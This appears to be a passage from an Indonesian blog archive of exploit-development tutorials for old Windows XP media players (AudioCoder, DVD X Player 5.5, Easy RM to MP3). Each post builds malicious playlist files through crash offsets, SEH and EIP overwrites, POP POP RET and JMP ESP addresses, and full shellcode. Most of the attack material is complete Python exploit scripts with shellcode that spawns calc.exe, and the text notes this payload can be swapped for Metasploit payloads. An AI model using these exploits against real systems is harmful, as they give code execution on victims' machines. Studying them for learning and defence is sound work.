d1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk'
exploit = junk

with open('exac.m3u','wb') as f:
 f.write(exploit)

print "file created [size : {}]".format(len(exploit))

Pattern yang telah dimasukkan berhasil menimpa SEH


Untuk mementukan besaran junk sebelum menyentuh SEH, kembali menggunakan mona.py untuk mendapatkan angka pastinya.
!mona po 41337941
  - Pattern Ay3A (0x41337941) found in cyclic pattern at position 729
!mona po 32794131
  - Pattern 1Ay2 (0x32794131) found in cyclic pattern at position 725

Maka, dari besaran yang didapat, urutan payloadnya adalah junk (725) + nSEH (4) + SEH (4)
junk = 'http://'
junk += 'A' * 725
nSEH = 'BBBB'
SEH = 'CCCC'
exploit = junk + nSEH + SEH

with open('exac.m3u','wb') as f:
 f.write(exploit)

print "file created [size : {}]".format(len(exploit))

Dengan kerangka diatas, nSEH dan SEH perlu diganti dengan value yang benar. Untuk nSEH dapat diisi dengan instruksi jmp 0x909006eb, sementara value SEH perlu disesuaikan dengan hasil dari mona.py. PoC yang didapat dari exploit-db SEH diisi dengan 0x66015926, dengan menggunakan windows 7. Sementara mesin yang saya gunakan menggunakan windows XP, mungkin akan ada sedikit penyesuaian, karena saya tidak menemukan alamat 0x66015926, pada pop pop ret yang ditampilkan oleh mona.py.

POP POP RET


Pencarian berlangsung ke alamat yang mengandung instruksi pop pop ret pada module yang diload oleh aplikasi, pencarian akan dibantu oleh mona.py sehingga akan menjadi lebih mudah untuk menentukan nilai yang akan digunakan pada SEH.
!mona seh
  0x66015599 : pop edi # pop ebp # ret  |  {PAGE_EXECUTE_READ} [libiconv-2.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.13 (C:\Program Files\AudioCoder\libiconv-2.dll)

Langkah selanjutnya adalah membuktikan apakah SEH yang telah di-overwrite berjalan lancar atau tidak, ini dapat dilihat pada debugger secara step by step. Melanjutkan kode sebelumnya, kerangka expoit akan ditambahkan dengan int3 atau 0xCC pada shellcode.
from struct import pack

junk = 'http://'
junk += 'A' * 725
nSEH = pack('<I', 0x909006eb)
SEH = pack('<I', 0x66015599)
int3 = '\xCC' * 20

exploit = junk + nSEH + SEH + int3

with open('exac.m3u','wb') as f:
 f.write(exploit)

print "file created [size : {}]".format(len(exploit))

Pada saat SEH tertrigger, immunity debugger akan berhenti dengan EIP 41414141. Untuk melanjutkan proses debugger ke dalam SEH value yang telah dioverwrite, perlu dipasang breakpoint pada SEH tersebut.



Dengan memasang breakpoint pada SEH yang telah dioverwrite, kita dapat melakukan debugging untuk membuktikan bahwa shellcode tereksekusi, penelusuran dilakukan dengan step by step (F7), sebelumnya pastikan pass exception dengan menekan shift F7/F8/F9 untuk masuk kedalam exception handler.

\

Exception handler akan menunjukkan pada gadget pop pop ret yang telah dipasang sebelumnya pada SEH. Jika benar, dengan melakukan menanjutkan debugging (F7/F8) maka return akan membawa ke alamat shellcode yang telah dipasang sebelumnya, dalam hal ini 0xCC sebanyak 20 kali.



JMP SHORT (EB 06) akan mengantarkan kita ke INT3 yang telah dimasukkan sebelumnya. Sampai disini, shellcode berhasil dieksekusi, langkah selanjutnya adalah melengkapi shellcode yang kita buat dengan menambahkan fitur spawn calc.exe.

Final Shellcode


Setelah tahapan yang dilalui, urutan shellcode terakhir adalah junk + nSEH + SEH + nop + shellcode. Shellcode yang dipakai adalah spawn calc.exe seperti yang tertera pada PoC di exploit-db. Perbedaan yang ada hanya pada besaran junk dan alamat instruksi pop pop ret yang disimpan pada SEH.
from struct import pack

junk = 'http://'
junk += 'A' * 725
nSEH = pack('<I', 0x909006eb)
SEH = pack('<I', 0x66015599)
nop = '\x90' * 20
shellcode = ("\xb8\x9d\x01\x15\xd1\xda\xd2\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x32\x31\x42\x12\x03\x42\x12\x83\x77\xfd\xf7\x24\x7b\x16\x7e"
"\xc6\x83\xe7\xe1\x4e\x66\xd6\x33\x34\xe3\x4b\x84\x3e\xa1\x67"
"\x6f\x12\x51\xf3\x1d\xbb\x56\xb4\xa8\x9d\x59\x45\x1d\x22\x35"
"\x85\x3f\xde\x47\xda\x9f\xdf\x88\x2f\xe1\x18\xf4\xc0\xb3\xf1"
"\x73\x72\x24\x75\xc1\x4f\x45\x59\x4e\xef\x3d\xdc\x90\x84\xf7"
"\xdf\xc0\x35\x83\xa8\xf8\x3e\xcb\x08\xf9\x93\x0f\x74\xb0\x98"
"\xe4\x0e\x43\x49\x35\xee\x72\xb5\x9a\xd1\xbb\x38\xe2\x16\x7b"
"\xa3\x91\x6c\x78\x5e\xa2\xb6\x03\x84\x27\x2b\xa3\x4f\x9f\x8f"
"\x52\x83\x46\x5b\x58\x68\x0c\x03\x7c\x6f\xc1\x3f\x78\xe4\xe4"
"\xef\x09\xbe\xc2\x2b\x52\x64\x6a\x6d\x3e\xcb\x93\x6d\xe6\xb4"
"\x31\xe5\x04\xa0\x40\xa4\x42\x37\xc0\xd2\x2b\x37\xda\xdc\x1b"
"\x50\xeb\x57\xf4\x27\xf4\xbd\xb1\xd8\xbe\x9c\x93\x70\x67\x75"
"\xa6\x1c\x98\xa3\xe4\x18\x1b\x46\x94\xde\x03\x23\x91\x9b\x83"
"\xdf\xeb\xb4\x61\xe0\x58\xb4\xa3\x83\x3f\x26\x2f\x44")

exploit = junk + nSEH + SEH + nop + shellcode

with open('exac.m3u','wb') as f:
 f.write(exploit)

print "file created [size : {}]".format(len(exploit))
5 λ .: 2019 Reproduce merupakan segmen yang mengulas PoC yang terdapat pada Exploit-DB, sebagai catatan untuk saya khususnya dan para pembaca pada umum...

Monday 29 April 2019

Windows Exploit, Simple Buffer Overflow 2

Target : DVD X Player 5.5
OS : Windows XP SP3

Niatnya mempelajari SEH based exploit, tapi mentok dibeberapa step yang tidak sesuai, akhirnya dialihkan ke simple buffer overflow biasa. Tulisan ini hanya sebagai catatan pembelajaran yang isinya tidak jauh dari artikel sebelumnya. 

Crash

Pada kasus ini terdapat 2 crash:
  1. Crash yang terjadi karena overwrite SEH (608)
  2. Crash overwrite EIP(260)
Percobaan kali ini akan menggunakan crash yang kedua, overwrite pada EIP. Pencarian crash menggunakan ragg2 dengan besaran 300, sehingga mendapatkan angka 260.
import struct

#ragg2 -P 300 -r
#ragg2 -q 0x42416142
#Little endian: 260
#Big endian: -1

buf = 'A' * 260
buf += struct.pack('<L',0xdeadbeef)
with open('dvdx300ragg2.plf','wb') as f:
 f.write(buf)

Jump

Pencarian jump esp dilakukan menggunakan mona.py pada immunity debugger, terdapat beberapa alamat yang mengandung jmp esp.
!mona jmp -r esp
Log data, item 21
 Address=61636E56
 Message=  0x61636e56 : push esp # ret 0x0c | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.12.21.2006 (C:\Program Files\Aviosoft\DVD X Player 5.5 Professional\EPG.dll)

langkah selajutnya test alamat jmp esp yang didapat dengan menggunakan INT3 ('\xCC')
import struct

buf = 'A' * 260
buf += struct.pack('<L',0x61636e56)
buf += '\xCC' * 200
with open('payload.plf','wb') as f:
 f.write(buf)
jmp esp berhasil mengantarkan kita ke shellcode yang akan dibuat.

Shellcode

Shellcode sederhana yang akan ditambahkan adalah nopsled + calc.exe
import struct

buf = 'A' * 260
buf += struct.pack('<L',0x61636e56)
buf += '\x90' * 50
buf += "\xd9\xeb\xd9\x74\x24\xf4\xbb\x35\x98\x92\xbe\x5a\x33"
buf += "\xc9\xb1\x31\x31\x5a\x18\x03\x5a\x18\x83\xc2\x31\x7a"
buf += "\x67\x42\xd1\xf8\x88\xbb\x21\x9d\x01\x5e\x10\x9d\x76"
buf += "\x2a\x02\x2d\xfc\x7e\xae\xc6\x50\x6b\x25\xaa\x7c\x9c"
buf += "\x8e\x01\x5b\x93\x0f\x39\x9f\xb2\x93\x40\xcc\x14\xaa"
buf += "\x8a\x01\x54\xeb\xf7\xe8\x04\xa4\x7c\x5e\xb9\xc1\xc9"
buf += "\x63\x32\x99\xdc\xe3\xa7\x69\xde\xc2\x79\xe2\xb9\xc4"
buf += "\x78\x27\xb2\x4c\x63\x24\xff\x07\x18\x9e\x8b\x99\xc8"
buf += "\xef\x74\x35\x35\xc0\x86\x47\x71\xe6\x78\x32\x8b\x15"
buf += "\x04\x45\x48\x64\xd2\xc0\x4b\xce\x91\x73\xb0\xef\x76"
buf += "\xe5\x33\xe3\x33\x61\x1b\xe7\xc2\xa6\x17\x13\x4e\x49"
buf += "\xf8\x92\x14\x6e\xdc\xff\xcf\x0f\x45\xa5\xbe\x30\x95"
buf += "\x06\x1e\x95\xdd\xaa\x4b\xa4\xbf\xa0\x8a\x3a\xba\x86"
buf += "\x8d\x44\xc5\xb6\xe5\x75\x4e\x59\x71\x8a\x85\x1e\x8d"
buf += "\xc0\x84\x36\x06\x8d\x5c\x0b\x4b\x2e\x8b\x4f\x72\xad"
buf += "\x3e\x2f\x81\xad\x4a\x2a\xcd\x69\xa6\x46\x5e\x1c\xc8"
buf += "\xf5\x5f\x35\xab\x98\xf3\xd5\x02\x3f\x74\x7f\x5b"
with open('payload.plf','wb') as f:
 f.write(buf)


5 λ .: 2019 Target : DVD X Player 5.5 OS : Windows XP SP3 Exploit-db :  https://www.exploit-db.com/exploits/17754 Niatnya mempelajari SEH based...

Thursday 25 April 2019

Windows Exploit, Simple Buffer Overflow

Exploit development series kali ini akan membahas tentang aplikasi easy RM to MP3 yang berjalan pada windows XP SP3, walaupun aplikasi lawas, kasus ini merupakan contoh yang bagus untuk mempelajari simple buffer overflow pada sistem operasi windows.

Target : easy RM to MP3
OS : Windows XP SP3

The Crash

Aplikasi ini akan crash jika input berjumlah 26068 pada windows xp sp3, payload dimasukkan kedalam file m3u yang diload pada aplikasi. Pencarian crash dimulai dari kelipatan 10000, ditemukan crash pada 30000.
buf = 'A' * 30000
with open('payload.m3u','wb') as f:
  f.write(buf)
Untuk mencari angka pasti besar buffer sebelum menyentuh eip, dapat menggunakan pattern generator seperti ragg2, metasploit pattern create, mona pc, dll.
ragg2 -P 30000 -r > payload.m3u
ragg2 -q 0x58434B58
Little endian: 26068
Big endian: -1
Pada penggunaan !mona pc (pattern create) entah mengapa jika pattern yang dibuat langsung 30000, tidak dapat ditemukan angka 26068 pada !mona po(pattern offset), sehingga untuk mengakali ini payload diperkecil untuk !mona pc 5000, sehingga payload yang dibuat 'A' * 25000 + mona pc 5000

 
Sehingga payload yang dibuat menjadi 25000 + 1068 = 26068 Verifikasi crash dengan overwrite eip:
import struct

buf = 'A' * 26068
buf += struct.pack('<L', 0xdeadbeef)
with open('payload.m3u', 'wb') as f :
  f.write(buf)

Jump

Setelah berhasil overwrite EIP dengan cara diatas, langkah selanjutnya adalah mengendalikan EIP supaya menuju shellcode yang akan dibuat. Untuk itu, kita harus mencari JMP yang menuju ke stack (ESP register).
!mona jmp -r esp

ada sekitar 93 pointer yang mengandung jmp esp / call esp, dari sekian banyak pointer yang ada, pilih address yang tidak mengandung null character. Untuk membuktikan jmp esp jatuh pada shellcode yang akan dibuat, tambahkan '\xCC' (INT3) agar aplikasi berhenti pada saat proccess debugging berjalan.
import struct

buf = 'A' * 26068
buf += struct.pack('<L',0x7C874413)
buf += '\xCC' * 20
with open('payload.m3u','wb') as f:
  f.write(buf)

Jika diperhatikan, pointer akan menunjuk ke alamat 0x000FF731. Ada beberapa byte antara 'A' 0x41 (0x000FF727) dengan pointer yang ditunjuk. Space ini dapat di isi dengan NOP sled, sehingga pointer dapat menunjuk kepada shellcode tanpa menimbulkan crash pada aplikasi.
import struct

buf = 'A' * 26068
buf += struct.pack('<L',0x7C874413)
buf += '\x90' * 20
with open('payload.m3u','wb') as f:
  f.write(buf)

Final Payload

Langkah terakhir yang dilakukan pada percobaan ini adalah membuat shellcode untuk menampilkan calc.exe, shellcode ini dapat juga diganti dengan payload dari metasploit, dll. dapat disesuaikan dengan kebutuhan masing-masing.
msfvenom -a x86 --platform windows -p windows/exec CMD='calc.exe' -b '\x00\x09\x0a\x0d\x1a\x20' --format python

Final size of python file: 1060 bytes
buf =  ""
buf += "\xd9\xeb\xd9\x74\x24\xf4\xbb\x35\x98\x92\xbe\x5a\x33"
buf += "\xc9\xb1\x31\x31\x5a\x18\x03\x5a\x18\x83\xc2\x31\x7a"
buf += "\x67\x42\xd1\xf8\x88\xbb\x21\x9d\x01\x5e\x10\x9d\x76"
buf += "\x2a\x02\x2d\xfc\x7e\xae\xc6\x50\x6b\x25\xaa\x7c\x9c"
buf += "\x8e\x01\x5b\x93\x0f\x39\x9f\xb2\x93\x40\xcc\x14\xaa"
buf += "\x8a\x01\x54\xeb\xf7\xe8\x04\xa4\x7c\x5e\xb9\xc1\xc9"
buf += "\x63\x32\x99\xdc\xe3\xa7\x69\xde\xc2\x79\xe2\xb9\xc4"
buf += "\x78\x27\xb2\x4c\x63\x24\xff\x07\x18\x9e\x8b\x99\xc8"
buf += "\xef\x74\x35\x35\xc0\x86\x47\x71\xe6\x78\x32\x8b\x15"
buf += "\x04\x45\x48\x64\xd2\xc0\x4b\xce\x91\x73\xb0\xef\x76"
buf += "\xe5\x33\xe3\x33\x61\x1b\xe7\xc2\xa6\x17\x13\x4e\x49"
buf += "\xf8\x92\x14\x6e\xdc\xff\xcf\x0f\x45\xa5\xbe\x30\x95"
buf += "\x06\x1e\x95\xdd\xaa\x4b\xa4\xbf\xa0\x8a\x3a\xba\x86"
buf += "\x8d\x44\xc5\xb6\xe5\x75\x4e\x59\x71\x8a\x85\x1e\x8d"
buf += "\xc0\x84\x36\x06\x8d\x5c\x0b\x4b\x2e\x8b\x4f\x72\xad"
buf += "\x3e\x2f\x81\xad\x4a\x2a\xcd\x69\xa6\x46\x5e\x1c\xc8"
buf += "\xf5\x5f\x35\xab\x98\xf3\xd5\x02\x3f\x74\x7f\x5b"

Kombinasikan dengan script python yang sudah dibuat:
import struct

buf = 'A' * 26068
buf += struct.pack('<L',0x7C874413)
buf += '\x90' * 20
buf += "\xd9\xeb\xd9\x74\x24\xf4\xbb\x35\x98\x92\xbe\x5a\x33"
buf += "\xc9\xb1\x31\x31\x5a\x18\x03\x5a\x18\x83\xc2\x31\x7a"
buf += "\x67\x42\xd1\xf8\x88\xbb\x21\x9d\x01\x5e\x10\x9d\x76"
buf += "\x2a\x02\x2d\xfc\x7e\xae\xc6\x50\x6b\x25\xaa\x7c\x9c"
buf += "\x8e\x01\x5b\x93\x0f\x39\x9f\xb2\x93\x40\xcc\x14\xaa"
buf += "\x8a\x01\x54\xeb\xf7\xe8\x04\xa4\x7c\x5e\xb9\xc1\xc9"
buf += "\x63\x32\x99\xdc\xe3\xa7\x69\xde\xc2\x79\xe2\xb9\xc4"
buf += "\x78\x27\xb2\x4c\x63\x24\xff\x07\x18\x9e\x8b\x99\xc8"
buf += "\xef\x74\x35\x35\xc0\x86\x47\x71\xe6\x78\x32\x8b\x15"
buf += "\x04\x45\x48\x64\xd2\xc0\x4b\xce\x91\x73\xb0\xef\x76"
buf += "\xe5\x33\xe3\x33\x61\x1b\xe7\xc2\xa6\x17\x13\x4e\x49"
buf += "\xf8\x92\x14\x6e\xdc\xff\xcf\x0f\x45\xa5\xbe\x30\x95"
buf += "\x06\x1e\x95\xdd\xaa\x4b\xa4\xbf\xa0\x8a\x3a\xba\x86"
buf += "\x8d\x44\xc5\xb6\xe5\x75\x4e\x59\x71\x8a\x85\x1e\x8d"
buf += "\xc0\x84\x36\x06\x8d\x5c\x0b\x4b\x2e\x8b\x4f\x72\xad"
buf += "\x3e\x2f\x81\xad\x4a\x2a\xcd\x69\xa6\x46\x5e\x1c\xc8"
buf += "\xf5\x5f\x35\xab\x98\xf3\xd5\x02\x3f\x74\x7f\x5b"
with open('payload.m3u','wb') as f:
  f.write(buf)


5 λ .: 2019 Exploit development series kali ini akan membahas tentang aplikasi easy RM to MP3 yang berjalan pada windows XP SP3, walaupun aplikasi lawas...
< >